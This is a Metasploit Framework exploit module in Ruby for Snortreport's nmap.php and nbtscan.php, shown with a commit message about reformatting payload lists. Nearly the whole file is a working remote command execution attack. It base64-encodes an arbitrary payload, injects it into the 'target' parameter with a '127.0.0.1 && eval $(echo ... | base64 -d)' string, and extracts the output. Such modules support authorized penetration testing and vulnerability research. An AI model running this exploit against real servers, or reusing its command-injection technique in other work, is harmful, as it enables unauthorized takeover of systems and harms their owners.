Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
94 lines
2.4 KiB
Ruby
94 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Snortreport nmap.php/nbtscan.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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nmap.php and nbtscan.php scripts.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Paul Rascagneres' #itrust consulting during hack.lu 2011
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],
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'References' =>
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[
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['OSVDB', '67739'],
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['URL', 'http://www.symmetrixtech.com/articles/news-016.html']
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],
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby bash telnet python',
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}
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},
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Sep 19 2011',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
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],self.class)
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end
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def exploit
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base64_payload = Rex::Text.encode_base64(payload.encoded)
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start = "127.0.0.1 && echo XXXXX && eval $(echo "
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last = " | base64 -d) && echo ZZZZZ"
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custom_payload = start << base64_payload << last
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI']),
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'vars_get' =>
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{
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'target' => custom_payload
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}
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},10)
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if (res)
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to_print=false
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already_print=false
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part=res.body.gsub("<BR>","")
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part.each_line do |line|
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if line =~ /ZZZZZ/
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to_print=false
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end
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if to_print == true
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print(line)
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end
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if line =~ /XXXXX/
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already_print=true
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to_print=true
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end
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end
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if already_print == false
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print_error("This server may not be vulnerable")
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end
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else
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print_error("No response from the server")
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end
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end
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end
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